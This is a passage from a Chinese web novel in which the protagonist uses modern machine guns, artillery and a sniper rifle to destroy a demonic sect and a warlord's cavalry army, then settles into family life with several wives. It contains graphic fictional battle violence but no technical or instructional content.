她握着剑柄的手微微颤抖,看着那被火光吞噬的山头,脑海中一片空白。
哪怕是宗师全力一击,也不可能有这般毁天灭地的威势。
“柳姑娘,别发呆了。”江夜递给她一杯茶,“喝口水,好戏还在后头。”
炮击持续了整整五分钟。
直到山顶再也看不见一座完整的建筑,王囤才挥手示意停止射击。
第270章 宗师陨落,一刀断魂
硝烟弥漫,原本巍峨的寨门此刻只剩下一地瓦砾。
“神机营,推进!”
江夜大喝一声,队伍行进速度极快。
待冲到山顶废墟前,硝烟尚未散尽。
废墟之中,几百名浑身是血的血煞门弟子摇摇晃晃地站了起来。
他们双眼赤红,那是被恐惧逼到极致后的疯狂。
血魔老祖披头散发,手中提着一把鬼头大刀,从废墟中冲出,嘶吼道:“跟他们拼了!他们只有几百人!近身搏杀,我们能赢!!”
“杀——!!”
幸存的魔教徒们挥舞着残缺的兵器,发出野兽般的咆哮涌向神机营。
看着越来越近的敌人,柳如烟下意识地拔剑出鞘,正欲上前,却**夜一把拉住。
“急什么,还没轮到你。”
江夜指了指前方。
只见队伍最前列,四挺早已架设好的马克沁重**,黑洞洞的枪口泛着幽冷的金属光泽。
夜枭队员手指轻轻搭在**上。
“打!”
王囤一声令下。
“哒哒哒哒哒哒——!!!”
四条火舌瞬间喷吐而出,密集的**连成一片,如同撕裂布匹的刺耳声响。
那汹涌而来的人潮,还没反应过来,身体就爆出团团血花,被强大的弹片撕成碎片。
断臂、鲜血,在空中交织成一幅地狱般的画卷。
短短十几秒,冲锋的几百人就倒下了一大半。
……
重**的咆哮声终于停歇,**冒着袅袅青烟。
盘龙山顶,此刻已成了修罗场。
残肢断臂铺满了一地,原本不可一世的血煞门徒,此刻能站着的不足十指之数。
“啊——!!”
一声凄厉至极的长啸陡然炸响。
废墟中央,一道血红色的身影冲天而起。
血魔老祖披头散发,那一身象征着门主威严的赤红长袍早已破烂不堪,露出里面枯瘦却如精铁般坚硬的肌肉。
“竖子!毁我基业,杀我门徒,老夫要将你**万段!”
他双脚猛踏地面,坚硬的青石板瞬间龟裂。
整个人化作一道猩红的残影,以一种违背常理的速度向神机营的阵地冲来。
“拦住他!”王囤大惊失色,手中的**连连扣动**。
“砰砰砰!”
**呼啸而出,却大半打在了空处。
血魔老祖的身法诡异莫测,忽左忽右,仿佛一只在暴风雨中穿梭的血色蝙蝠。
“死来!”
百丈距离,瞬息即至。
血魔老祖眼中的杀意几乎凝成实质,死死锁定了软轿之上的江夜。
只要杀了这领头的,剩下的人不过是待宰的羔羊!
站在轿旁的柳如烟脸色惨白。
那是刻在骨子里的恐惧,这道红色的身影就是她挥之不去的梦魇。
但在这一刻,她没有退。
“小心!”
柳如烟娇叱一声,手中软剑铮然出鞘,身形一晃便要挡在江夜身前。
然而,一只温热的大手按住了她的肩膀。
“退后。”
江夜的声音平淡,听不出丝毫慌乱。
柳如烟一怔,还没反应过来,便觉一股柔和却无法抗拒的力道传来,将她轻轻推向一旁。
江夜缓缓从太师椅上站起。
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>他拿着一把通体漆黑的唐刀。
此时,血魔老祖已冲至身前十步。
“狂妄小儿!竟想与老夫比兵刃?”血魔老祖见状,嘴角勾起一抹残忍的狞笑。
他枯如鹰爪的手掌成钩,指尖泛着幽蓝的剧毒光泽,直取江夜咽喉,“给老夫死!”
腥臭的掌风已经吹乱了江夜额前的碎发。
一刹那,江夜动了。
他向前一步。
这一步落下,一股锋锐无匹的气势骤然从他体内爆发而出。
原本狞笑的血魔老祖,瞳孔骤然收缩。
他感觉自己面对的不再是一个富家翁,而是一头披着人皮的凶兽!
“宗……宗师?!”
惊恐的尖叫卡在喉咙里。
“锵——”
一声清越的刀鸣响彻山巅。
黑色的唐刀在空中划过一道完美的半圆,快得连残影都看不见。
附着在刀锋之上的宗师级剑意,毫无阻碍地切开了血魔老祖引以为傲的护体罡气。
两人身形交错而过。
江夜保持着挥刀的姿势,单手持刀斜指地面,刀尖上一滴殷红的血珠缓缓滑落。
身后,血魔老祖保持着前冲的姿势,僵立在原地。
“这……这怎么可能……”
血魔老祖沙哑的声音,带着浓浓的不可置信与绝望。
他艰难地抬起手,想要捂住脖子。
下一刻。
他的脖颈处浮现出一道血线。
“噗——”
鲜血如喷泉般冲天而起。
血魔老祖身体晃了晃,轰然倒地。
一代宗师,纵横江湖数十载的血魔老祖,就此陨落。
第271章 尘埃落定,满载而归
战斗结束得比所有人想象的都要快。
硝烟散去,盘龙山顶一片死寂。
只有风吹过废墟的呜咽声,和空气中浓烈得化不开的血腥味。
柳如烟一步步走上前去。
她走得很慢,脚下的布鞋踩在粘稠的血泊中。
她停在血魔老祖的尸体前,看着这张曾经让她无数次在噩梦中惊醒的脸。
**。
那个屠她满门,不可一世的老魔头,就这样**。
“哐当。”
手中的长剑落地。
柳如烟双膝一软,跪在了这片废墟之上。
她没有嚎啕大哭,只是肩膀剧烈地耸动着,喉咙里发出压抑的哭声。
压抑的仇恨、恐惧、委屈,在这一刻如同决堤的洪水,倾泻而出。
江夜没有说话,只是静静地站在她身后,替她挡住了山顶凛冽的风。
良久。
柳如烟止住了哭声。
她缓缓站起身,用衣袖胡乱擦了一把脸上的泪水与血污。
转身,看向江夜。
那双眸子里,再无往日的清冷,取而代之的,是如同烈火般炽热的爱意。
她突然对着江夜重重跪下,额头磕在满是碎石的地上。
“柳如烟,谢东家再造之恩!”
声音沙哑,却字字铿锵。
江夜伸手去扶,却被她执拗地拒绝。
柳如烟抬起头,目光灼灼地盯着江夜的眼睛,一字一顿道:“大仇得报,如烟此生已无牵挂。从今往后,这条命便是东家的,生是江家人,死是江家鬼若违此誓,天诛地灭!”
江夜看着她那张虽然狼狈却难掩绝色的脸庞,心中微微一叹,伸手将她拉入怀中,在那额头上轻轻一吻。
“傻女人,你的命是你自己的。不过既然进了我江家的门,这辈子想跑也跑不掉了。”
柳如烟身子一颤,随即紧紧抱住江夜的腰,将头埋在他胸口,贪婪地呼吸着他身上的气息。
这时,不远处传来王囤兴奋的大嗓门。
“东家!发财了!咱们发大财了!”
只见几个神机营的兄弟,正从废墟下的地窖里往外搬东西。
一个个沉甸甸的箱子被撬开,在阳光下折射出耀眼的光芒。
金砖、银锭、玛瑙、翡翠……
血煞门盘踞盘龙山数十年,打家劫舍积攒下的家底,此刻全都便宜了江夜。
足足装了十辆大车。
江夜扫了一眼那堆积如山的财宝,心情大好。
“搬!都搬回去!”
……
时光荏苒,白驹过隙。
转眼间,便是三年过去。
这三年里,外面的世道越发乱了。
朝廷名存实亡,各路军阀混战,百姓流离失所,饿殍遍野。
可在这乱世之中,却有一处世外桃源,不仅未受战火波及,反而愈发繁荣昌盛。
曾经那个小小的稻花村,早已不见了踪影。
取而代之的,是一座巍峨坚固的小型城池——稻花城。
高达三丈的混凝土城墙上,架设着黑洞洞的重**和迫击炮,日夜有士兵巡逻。
城内商铺林立,街道整洁。
在这乱世中,这里便是天堂。
城中心,江家大院。
暖阳倾洒,院子里的那棵老槐树枝繁叶茂,投下斑驳的树影。
“哈!看剑!”
“哼!你那招没用,看我的‘横扫千军’!”
院子里,两个粉雕玉琢的小男孩正拿着特制的小木剑,打得有模有样。
这是江夜的一对双胞胎儿子,老大江平,老二江安。
虽然才五岁,但这俩小子完美继承了江夜的体质,壮实得像两头小牛犊,跑起来带风,打起架来更是不要命。
“平儿,安儿,动作轻点,别伤着。”
回廊下,白梦秋手里纳着鞋底,哪怕生了孩子,岁月也没在她脸上留下丝毫痕迹,反而让她多了几分母性的温婉。
“娘,没事儿!爹说了,男孩子就要皮实点!”江平抹了一把鼻子上的汗,嘿嘿一笑,转头又给了弟弟一剑。
另一边的凉亭里。
大女儿江乐正端正地坐在石凳上,手里捧着一本《千字文》,跟着白梦夏摇头晃脑地念书。
这丫头性子最静,长得像极了白梦夏,小小年纪便是一副知书达理的模样,那双大眼睛里透着股子灵气。
“天地玄黄,宇宙洪荒……”
稚嫩的
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读书声,配上那认真的小表情,看得白梦夏满眼慈爱。
然而,这温馨的画面很快就被一阵鸡飞狗跳打破了。
“驾!驾!大狗快跑!冲呀!”
只见一道小小的红色身影,正骑在一头体型硕大的银狼背上,在院子里横冲直撞。
那是江灵。
这丫头简直就是慕容晴的翻版,甚至有过之而无不及。
才三岁半,就已经成了家里的混世魔王。
此刻,她两只小手死死抓着团子脖子上的软**,兴奋得哇哇大叫。
而曾经威震山林的狼王团子,此刻正耷拉着脑袋,舌头伸出老长,一脸生无可恋。
它小心翼翼地迈着步子,生怕颠着背上的小祖宗,还得忍受着**被揪掉的痛苦。
看到江夜走过来,团子那双幽绿的眼睛瞬间亮了,像是看到了救星。
“老大!救命啊!这小祖宗把我的胡子都拔了两根了!我堂堂狼王的面子往哪搁啊!”
江夜脑海中响起团子那带着哭腔的抱怨。
他忍俊不禁,走过去把江灵从狼背上抱了下来。
“好了灵儿,团子累了,让它歇会儿。”
“爹爹!”
江灵一见是江夜,立刻忘了骑狼的事儿,抱着江夜的脖子就狠狠亲了一口,糊了他一脸口水。
团子如蒙大赦,夹着尾巴刺溜一下钻进了花坛后面。
江夜抱着女儿走到太师椅旁坐下。
腿上立刻又多了一个挂件。
那是小儿子江山。
这小子路还走不太稳,正抓着江夜的衣襟,瞪着一双乌溜溜的大眼睛,嘴角挂着晶莹的口水,不知道在说什么。
沈砚秋见状无奈地笑了笑,拿手帕替儿子擦去口水。
“这孩子,看见你就走不动道。”
江夜哈哈一笑,一手抱着女儿,一手揽着儿子,目光扫过院子里正在玩闹的孩子们,还有那一群各有千秋、风情万种的娇妻。
白梦秋温婉贤淑,沈砚秋知性优雅,慕容晴热辣活泼,林间雪乖巧可人,柳如烟英姿飒爽。
“人生之乐,不过如此啊。”
江夜感叹一声,低头在小儿子胖乎乎的脸蛋上亲了一口。
第272章 天下大乱,铁骑出征
温馨的午后时光并未持续太久。
一阵急促且凌乱的马蹄声,打破了这份宁静。
“报——!!”
王囤满头大汗地冲进后院,手里还攥着一封被鲜血浸透的信函。
“东家!出事了!郡城来的信使,刚进城门就咽气了,手里死死攥着这个!”
江夜脸上的笑意瞬间收敛,一股令人心悸的寒意从他身上散发出来。
他接过那封**,信封上赫然印着“沈秉钧”的私印。
撕开信封,一行行潦草的字迹映入眼帘。
这一看,江夜的瞳孔猛地收缩。
大宣,亡了。
就在半月前,流民军攻破京师,皇权崩塌,乱世彻底降临。
原本蛰伏在北方的“赵王”与盘踞南方的“魏王”,这两大军阀为了争夺地盘,同时盯上了处于南北交汇、富庶流油的江临郡。
信中字字泣血:赵王麾下十万铁骑已过黄河,兵锋直指郡城;魏王五万水师亦封锁江面,虎视眈眈。
沈秉钧在信末写道:“吾身为一郡之守,当与城共存亡。然城中百姓何辜?贤婿若念旧情,望救全郡百姓于水火。”
江夜合上信纸,指尖微微发白。
“夫君,怎么了?”沈砚秋见江夜神色不对,心中升起一股不祥的预感,把孩子递给一旁的奶娘,快步走来。
江夜没有说话,只是将那封带血的信递给了她。
沈砚秋疑惑地接过,目光扫过信纸,身子猛地一晃,险些栽倒在地。
“爹……”
两行清泪夺眶而出,打湿了衣襟。
“十万大军……爹他怎么守得住……”沈砚秋死死咬着嘴唇,她猛地抬头看向江夜,膝盖一软就要跪下,“夫君……”
江夜眼疾手快,一把托住了她的手肘,将她拉入怀中。
“不用跪我。”
江夜的声音透着一股不容置疑的坚定,“你爹就是我爹。这世道乱了,想独善其身是做梦。”
他转头看向王囤,眼神冷冽如刀。
“让神机营集合。”
……
半个时辰后。
城西校场,肃杀之气直冲云霄。
这三年,江夜把赚来的银子,大半都砸进了这座军营。
他们每人手中,都握着一把崭新的56式**。
这种经过系统改良的**,枪身修长,刺刀折叠在**之下,在这个还在使用火绳枪和大刀长矛的时代,这就是降维打击的神器。
除了**,每个士兵的胸前还挂着四枚67式木柄**。
这种也是大杀器,拧开盖子,拉火绳,扔出去就是一片死亡半径。
而在方阵的两侧,停放着二十辆在此刻显得格格不入的庞然大物。
那是江夜用工业母机造出来的军用卡车。
虽然造型粗犷,没有什么舒适性可言,但那巨大的轮胎和厚实的钢板,足以让任何战马受惊。
卡车车斗里,早已堆满了成箱的**、压缩干粮和医疗包。
点将台上。
江夜缓缓走出。
他没有穿这个时代的铁甲,而是身着一套特制的黑色高强度合金战甲。
轻便、坚韧,关节处做了特殊处理,丝毫不影响活动。
腰间悬着一把唐刀,那是当年斩杀血魔老祖的那把。
而最引人注目的,是他背上背着的那杆枪。
枪身漆黑,长达一米五,粗大的**散发着冰冷
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的气息——**M82A1反器材狙击**。
江夜目光扫过台下的士兵。
这些人里,有原来稻花村的村民,有后来收留的流民,也有仰慕神机营威名来投奔的江湖客。
但此刻,他们只有一个身份——江家军。
“废话我就不多说了。”
江夜的声音清晰地传到每个人耳中,“外面世道乱了,皇帝**,有人想当新皇帝。”
“他们想打仗,想抢地盘,这没问题。”
“但他们千不该万不该,把爪子伸到了咱们家门口。”
江夜指了指北方,“十万大军?听着挺吓人。但在我眼里,那就是十万个移动的靶子!”
台下鸦雀无声,但每个人眼中的火焰都在燃烧。
他们太清楚现在的日子有多来之不易了。
老婆孩子热炕头,顿顿有肉吃,这种神仙日子,谁想破坏,那就是刨他们的祖坟。
“出发!”
江夜大手一挥。
“轰隆隆——”
二十辆卡车的引擎同时轰鸣,喷吐出黑烟。
王囤跳上第一辆卡车的副驾驶,探出头吼道:“一营上车!二营三营骑马掩护!四营五营跑步跟进!目标——江临郡城!急行军!”
城楼上。
沈砚秋一身素衣,立在风中。
她看着那辆载着江夜的指挥车渐行渐远,双手紧紧抓着城墙的砖石,指节发白。
“一定要平安回来……”
身后的白梦秋走上前,将一件披风披在她身上,柔声道:“放心吧,夫君从未让我们失望过。当年的血煞门是如此,如今这赵王,也定然如此。”
沈砚秋点了点头,擦去眼角的泪痕。
第273章 兵临城下
二十辆军用卡车卷起的尘土,在黎明破晓时分,终于抵达了江临郡城外十里处的黑风坡。
经过一日一夜的急行军,江临郡城那巍峨的轮廓终于出现在地平线上。
只是此刻的郡城,哪还有半点往日的繁华气象。
原本青灰色的城墙,此刻已被鲜血染成了暗红,到处都是断裂的箭矢和焦黑的痕迹。
城头上,旌旗残破,守军的身影稀稀拉拉,显然已是**之末。
赵王的十万大军,连营十里,一眼望不到尽头。
黑色的营帐如同在大地上蔓延的毒斑,无数战马嘶鸣。
震天的喊杀声,隔着几里地都能感觉到地面的震颤。
“东家,到了。”
王囤跳下卡车。
他抹了一把脸上的油灰,看着远处那密密麻麻如同蚁群般的敌军,喉结下意识地滚动了一下。
虽然神机营装备精良,但毕竟只有几千人。
面对这铺天盖地的十万大军,这种视觉上的压迫感,足以让普通人两股战战。
江夜推开车门,跳下车,战靴踩在碎石地上,发出一声脆响。
他目光平静地扫视了一圈战场。
“这赵王倒是有些家底,十万骑兵,光是马粪味儿都够呛人的。”
他抬手指向右侧一处凸起的高地——落凤坡。
那里地势开阔,居高临下,正好能俯瞰整个战场侧翼。
“传令下去,不许直接冲阵。全军抢占落凤坡,构筑阵地。”
“是!”
王囤大吼一声,令旗挥动。
……
江临郡城头。
沈秉钧一身官袍早已被鲜血染成了暗红色,头上的乌纱帽也不知去向,花白的头发凌乱地披散着。
他扶着垛口,看着城下如潮水般涌来的敌军,眼里只剩下一片死灰。
“大人,守不住了……”
身旁的副将浑身是伤,声音嘶哑,“西城门已经被撞裂,兄弟们死伤过半,箭矢也用尽了。再有一个时辰,城必破。”
沈秉钧惨然一笑。
他缓缓拔出腰间的长剑,剑身映照出他苍老而决绝的面容。
“守不住也要守。本官身为一郡之守,食君之禄,忠君之事。今日,唯有一死报国。”
“大人!!!”
一声凄厉的哭喊打破了沈秉钧的动作。
他猛地回头,却见那副将指着城外东南方向,激动得浑身颤抖,“援军!援军来了!!”
沈秉钧一愣,顺着手指的方向望去。
只见在那落凤坡上,不知何时出现了一支奇怪的队伍。
没有战马,只有一个个巨大的铁皮怪兽横亘在山头。
而在那队伍的最前方,一面黑底红字的大旗迎风招展。
那是一个龙飞凤舞的“江”字。
“江……江夜?”
沈秉钧揉了揉眼睛,几乎不敢相信自己所见。
那小子真的来了?
就带了这么点人?
“糊涂啊!!”沈秉钧老泪纵横,一拳砸在城墙上,“这是十万大军!你带这几千人来干什么!陪老夫一起死吗?!”
……
赵王中军大帐。
一名身穿金甲、身材魁梧的中年男子正骑在汗血宝马上,手里端着一碗酒,饶有兴致地看着前方的攻城战。
他就是赵王。
“王爷,看来今日午时之前,这江临郡便能拿下了。”身旁的谋士谄媚道,“届时,这江南富庶之地,便尽归王爷囊中。”
赵王哈哈大笑,饮尽碗中酒,随手将酒碗摔碎。
“报——!!”
一名斥候快马加鞭而来,滚鞍下马跪在地上,“启禀王爷!东南方向落凤坡出现一支不明军队,打着‘江’字旗号,人数约莫四五千!”
“江?”
赵王眉头微挑,随即发出一声轻蔑的嗤笑,“本王当是哪路诸侯的援军,原来是那个什么稻花村的小地主?”
关于江夜的名头,他略有耳闻。
听说手里有点奇巧淫技,火器犀利。
但在绝对的数量面前,一切技巧都是笑话。
“四五千人?”赵王用马鞭指了指落凤坡的方向,眼中满是戏谑,“这是赶着来给沈秉钧那老匹夫送葬的?”
周围的将领们也是一阵哄笑。
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>十万对五千。
这简直就是大象踩蚂蚁。
“也罢,既然来了,就别走了。”
赵王漫不经心地挥了挥手,“虎威营,去一万人。把这只苍蝇给本王拍死,把那‘江’字旗给本王砍下来,当擦脚布。”
“末将领命!”
一名满脸横肉的将领狞笑着抱拳,随即调转马头。
“虎威营!随我冲锋!杀光这群泥腿子!!”
“杀——!!”
大地震颤。
一万名身披重甲的铁骑脱离了大阵,如同黑色的洪流,带着毁天灭地的气势,向着落凤坡汹涌而去。
万马奔腾的动静,连江临郡的城墙都在微微颤抖。
城头上的沈秉钧面如死灰。
那是赵王麾下最精锐的重骑兵,所过之处,寸草不生。
完了。
全完了。
……
落凤坡。
风吹得江夜身上的黑色披风猎猎作响。
他站在高地边缘,身后是整齐列队的江家军。
面对那铺天盖地而来、足以让任何普通军队胆寒的一万铁骑,江家军的战士们脸上没有丝毫恐惧。
王囤站在江夜身旁,手里紧紧握着令旗,手心全是汗。
虽然他对东家的武器有信心,但这种视觉冲击力实在太强了。
八百步。
五百步。
三百步。
骑兵冲锋的速度极快,前排骑兵狰狞的面孔已经清晰可见。
他们挥舞着马刀,口中发出野兽般的嚎叫,仿佛已经看到了这群“步兵”被马蹄踩成肉泥的惨状。
“东家……”王囤忍不住开口。
江夜举起右手,轻轻打了个响指。
“亮家伙。”
声音清晰地传遍了整个阵地。
“哗啦——!!”
身后,三十张巨大的伪装网被猛地掀开。
阳光下,三十门通体漆黑、散发着冰冷金属光泽的75毫米野战炮,昂首向天。
黑洞洞的炮口,已经调整好了诸元,死死锁定了那片正在冲锋的黑色洪流。
江夜眼神中没有一丝温度。
“开炮。”
第274章 修罗地狱
随着江夜那两个字轻飘飘地落地,王囤手中的令旗猛然挥下。
“放!”
“轰!轰!轰!轰——!!!”
落凤坡上,大地猛地一颤。
三十门75毫米野战炮同时发出的怒吼,瞬间盖过了战场上所有的马蹄声与嘶吼声。
炮口喷出的火焰如同三十条愤怒的火龙,瞬间吞噬了周围的空气,激起的尘土将炮兵阵地笼罩在一片黄褐色的迷雾中。
尖锐的呼啸声划破长空。
远处,正策马狂奔的一万虎威营骑兵,根本不知道即将降临在头顶的是什么。
领头的那个满脸横肉的将领,还在挥舞着马刀,嘴里喊着“杀光泥腿子”的口号。
下一秒。
“轰隆——!!!”
第一枚炮弹精准地落在了骑兵冲锋的最前列。
那名将领连人带马,瞬间被一团橘红色的火球吞没。
高温和冲击波在千分之一秒内将他的铠甲撕成碎片,化作漫天血雨。
紧接着,是第二枚、第三枚……第三十枚。
密集的骑兵阵型,此刻成了最好的靶子。
**声连成一片,震耳欲聋。
巨大的冲击波夹杂着滚烫的弹片,向四周无死角地飞溅。
战马嘶鸣着被掀飞到半空,落地时已是一堆烂肉。
残肢断臂如同下雨一般,噼里啪啦地砸在后方骑兵的头盔上。
“吁——!!”
后排的战马受惊,疯狂地直立而起,将背上的骑士狠狠甩下,随后发了疯似的四处乱窜,将落地的士兵踩成肉泥。
原本整齐划一的冲锋阵型,眨眼间便成了人间炼狱。
……
中军大帐前。
赵王脸上的狞笑僵住了。
他手里的马鞭,“啪嗒”一声掉落在地。
他瞪圆了眼睛,死死盯着远处那团冲天而起火光。
“这……这是什么……”
赵王的声音在颤抖,牙齿不受控制地打架。
他打了一辈子仗,见过万箭齐发,见过滚木礌石,甚至见过猛火油柜。
但他从未见过这种景象。
那是天雷吗?
难道那江夜会妖法,能召唤九天神雷?!
周围的谋士和将领们更是面无人色,一个个双腿发软,若不是扶着身边的木桩,恐怕早就瘫倒在地。
“妖……妖术!这是妖术啊王爷!”一名谋士尖叫着,声音凄厉得像个太监。
……
落凤坡上。
江夜面无表情地看着远处的惨状。
冷兵器时代的巅峰骑兵,在现代**面前,脆弱得像纸糊的玩具。
“别停。”
江夜的声音冷漠如冰,“迫击炮群,覆盖射击。重**准备。”
“是!”
王囤此刻也是热血沸腾,他抹了一把脸上的硝烟,吼道:“迫击炮!给老子狠狠地砸!别省炮弹!”
后方阵地,上百门迫击炮早已架设完毕。
“通通通通——”
沉闷的发射声密集响起。
几秒钟后,数百枚**如同冰雹一般,带着死亡的啸叫,砸向了那些侥幸从第一轮炮击中活下来的骑兵。
**的火光将整个战场点亮,黑色的硝烟遮天蔽日。
那些还在试图重整旗鼓的骑兵,绝望地发现,无论逃向哪里,脚下都会炸开一朵致命的火花。
“冲……冲上去!冲上去就没事了!”
一名骑兵校尉挥舞着断了一截的**,嘶吼着试图组织最后的冲锋。
他们距离江夜的阵地,只剩下不到五百步。
只要冲进去,哪怕是死,也能拉几个垫背的!
然而,迎接他们的,是更绝望的声音。
“哒哒哒哒哒哒——!!!”
五十挺重**同时咆哮。
枪口喷吐的火舌足有半米长,密集的**交织成一张密不透风的死亡之网。
那些刚刚冲出炮火覆盖区的骑兵,就像是撞上了一台巨大的绞肉机。
噗噗噗噗!
**钻入肉体的闷响声连成一片。
无论是坚固的铁甲,还是强壮的战马,在重****面前都如同豆腐般脆弱。
前排的骑兵像是被割倒的麦子,成片成片地倒下。
尸体堆积起来,甚至阻挡了后方骑兵的视线。
鲜血汇聚成小溪,染红了落凤坡前的每一寸土地。
整整一刻钟。
从第一声炮响,到最后一声枪停。
那支号称“踏平天下”的一万虎威营精锐铁骑,彻底消失了。
只剩下满地的碎肉,和几匹断了腿的战马在血泊中发出凄厉的悲鸣。
空气中弥漫着浓烈到令人作呕的血腥味,混合着硝烟和焦糊味。
战场上一片死寂。
……
“呕——”
江临郡城头,几名年轻的守军忍不住扶着墙垛呕吐起来。
就连久经沙场的沈秉钧,此刻也是脸色苍白,手脚冰凉。
他看着
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远处那个站在高坡上的黑色身影,心中涌起一股前所未有的敬畏。
这简直就是杀神降世!
“赢……赢了?”副将喃喃自语,狠狠掐了一下自己的大腿,“大人,那一万骑兵……没了?”
沈秉钧深吸一口气,强行压下心头的震撼,声音沙哑:“哪怕是当年的太祖皇帝起兵,也不曾有过这般神威……”
……
赵王大营。
原本连绵十里的浩荡军威,此刻却乱成了一团。
看着前方那惨绝人寰的景象,剩下的九万大军,胆子已经破了。
那是人能干出来的事吗?
那是天罚!
谁敢跟老天爷作对?
赵王此时哪还有半点王爷的威风,他浑身冷汗淋漓,嘴唇哆嗦着:“撤……快撤!回营!不,回封地!快走!!”
他怕了。
那种深入骨髓的恐惧,让他此刻只想离那个叫江夜的魔鬼越远越好。
“王爷有令!撤退!!”
江夜看着远处开始骚动的敌军大阵,嘴角勾起一抹冷酷的弧度。
既然来了,不留下点什么,真当他江家是菜市场?
他从背上摘下那把**,拉动**,透过瞄准镜,锁定了远处那个身穿金甲、正欲调转马头的身影。
“砰!”
一声沉闷的枪响。
两千米外。
赵王胯下的汗血宝马脑袋猛地炸开,庞大的马尸轰然倒地。
赵王狼狈地滚落在地,摔得七荤八素,头盔都飞了出去。
“啊!!!救命!救我!!”赵王像条丧家之犬,在地上手脚并用地爬行,发出杀猪般的嚎叫。
这一枪,彻底击碎了赵军最后的心理防线。
“全军听令。”
江夜收起枪,拔出腰间的唐刀,刀锋直指前方溃乱的敌军。
“反击。”
“嘟嘟嘟——!!!”
冲锋号角吹响。
早已按捺不住的神机营战士们,发出了震天的怒吼。
“杀——!!!”
五千名手持**的战士,端着明晃晃的刺刀,冲入战场。
“砰砰砰!”
精准的点射声此起彼伏。
而那九万大军,此刻就像是一群被狼群驱赶的绵羊。
他们丢掉了兵器,扔掉了盔甲,甚至为了跑得快一点,挥刀砍向挡路的同伴。
踩踏、推搡、自相残杀。
不需要神机营动手,他们自己就已经乱成了一锅粥。
第275章 一枪定乾坤,神威震九州
落凤坡,江夜趴在一块凸起的岩石后,手中那杆**M82A1反器材**再次被架起。
瞄准镜的十字准星里,那个身穿金甲的赵王,已经被一群亲卫七手八脚地扶了起来。
“快!把马牵来……本王不打了!回营!快回营!”
赵王披头散发,满脸血污,哪还有半点一方霸主的威严。
两名亲卫拼死拖来一匹备用战马,正要把赵王托举上去。
“想走?”
江夜嘴角勾起一抹戏谑的弧度,手指轻轻搭在**上,呼吸瞬间放缓。
千米之外,风速、湿度、地心引力,在这一刻仿佛都在他的计算之中。
“砰——!!”
沉闷如雷的**再次炸响,巨大的后坐力撞击着江夜的肩膀,枪口喷出一团火焰。
**撕裂空气,发出尖锐的音爆声,跨越千米距离,瞬息即至。
远处,刚刚踩着马镫跨上马背的赵王,身形猛地一僵。
在无数亲卫惊骇欲绝的注视下,赵王的脑袋,如同被铁锤砸烂的西瓜,瞬间炸裂开来。
红的白的,呈扇形喷洒而出,溅了周围亲卫一身一脸。
那具无头尸体在马背上晃了两下,脖颈处血如泉涌,随后软绵绵地栽倒在尘土中。
整个战场仿佛被按下了暂停键。
那些还在奔逃的士兵,那些还在挥刀督战的将领,全都僵在了原地,呆呆地看着那具无头尸体。
那是统领十万铁骑,欲争夺天下的赵王。
就这么……没了?
连敌人的面都没看清,脑袋就没了?
“赵王已死!!”
王囤第一个反应过来,用尽全身力气吼道:“降者不杀!!”
这一声吼,如同压垮骆驼的最后一根稻草。
“赵王**……”
“我不打了!娘啊!我要回家!”
不知是谁带头丢掉了手中的兵器。
紧接着,是第二个、第三个。
兵器落地的声音连成一片。
漫山遍野的赵军士兵,双膝跪地,将头深深埋进尘土里,浑身瑟瑟发抖。
九万人齐卸甲,跪地乞降。
……
江临郡城头。
沈秉钧死死抓着城墙的垛口,指甲崩断了都浑然不觉。
他张大着嘴巴,浑浊的老眼中满是不可置信,花白的胡须剧烈颤抖着。
“死……**?”
他身后的守城士兵们,一个个更是如同泥塑木雕。
他们看着远处落凤坡上那道黑色的身影,虽然隔着数里地,看不清面容,但在他们眼中,那已经不再是一个人。
那是执掌雷霆,判人生死的杀神!
“将军威武!!”
不知是哪个士兵率先喊了一嗓子,声音里带着哭腔和劫后余生的狂喜。
“将军威武!!”
“将军万岁!!”
欢呼声瞬间席卷了整个江临郡城。
在那震耳欲聋的欢呼声中,沈秉钧身子一软,若不是副将眼疾手快扶住,这位坚守数日的老郡守怕是要瘫倒在地。
他看着远处那面迎风招展的“江”字大旗,老泪纵横。
“天佑我沈家啊……”
……
战场之上,硝烟渐渐散去。
残肢断臂铺满了旷野,空气中弥漫着令人作呕的血腥味和焦糊味。
“别愣着!干活了!”
江夜收起**,从岩石后站起身,拍了拍身上的尘土,语气平淡。
“一营警戒,二营三营打扫战场!不管是死的活的,身上值钱的都给我扒下来!那可都是咱们的军费!”
“得令!”
神机营的战士们立刻散开,动作熟练。
这帮家伙以前大多是穷苦出身,过惯了苦日子,哪怕现在跟着江夜发了财,那股子勤俭持家的劲儿也刻在了骨子里。
“哟!这马靴不错,牛皮的!归我了!”
“这把刀是精钢的,拿回去回炉能打好几把锄头!”
原本肃杀的战场,瞬间变成了大型“捡破烂”现场。
王囤背着枪,一脚踢开一具尸体,弯腰从血泊里抠出一枚金戒指,用衣角擦了擦,傻笑:“嘿,东家,这赵王的亲卫真肥啊,这一枚顶我以前干十年长工!”
江夜瞥了他一眼,没好气地道:“出息!小心点,别被装死的阴了。遇到没断气的,给个痛快。”
“放心吧东家,咱们办事,您还不清楚?”
……
城门缓缓打开。
沈秉钧在几名亲卫的搀扶下,踉踉跄跄地走了出来。
刚一出城,那股浓烈到实质的血腥味便扑面而来,直冲天灵盖。
“呕——”
几名没见过大场面的文官当场就吐了。
沈秉钧强忍着胃里的翻江倒海,用袖子捂住口鼻,深一脚浅一脚地踩在被鲜血浸透的土地上。
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往前走,他的心就越凉。
太惨了。
到处都是碎肉,到处都是焦黑的尸体。
沈秉钧抬起头,目光穿过层层叠叠的尸体,落在远处那个正站在一辆巨大铁车旁的身影上。
江夜正靠在车头,手里拿着一个水壶,仰头灌了一口水,神态轻松惬意。
看到这一幕,沈秉钧心中涌起一股前所未有的敬畏,甚至……是恐惧。
这个曾经在他眼里只是有些小聪明的乡下女婿,如今却变得让他完全看不透了。
“岳父大人。”
江夜早已看到了沈秉钧,放下水壶,随手把**扔给旁边的警卫员,大步迎了上来,脸上挂着笑容。
“让您受惊了。”
沈秉钧颤抖着伸出手,指了指不远处那挺刚刚停止咆哮、**还冒着青烟的马克沁重**,声音嘶哑:“贤……贤婿,那……那是何物?”
刚才在城头上,他亲眼看到这黑铁疙瘩喷出火舌,瞬间将几千骑兵撕成碎片的恐怖场景。
那画面,成了他这辈子挥之不去的梦魇。
“哦,那个啊。”
江夜回头看了一眼,随意地摆摆手,“那是一种……嗯,稍微快一点的连发火铳。”
沈秉钧松开亲卫的手,像是着了魔一样,一步步朝那挺重**走去。
走近了,才看清那厚重的护盾,和粗大的水冷套筒,还有那一长串黄澄澄的弹链。
空气周围还残留着高温扭曲的波纹。
“这便是……神器吗?”
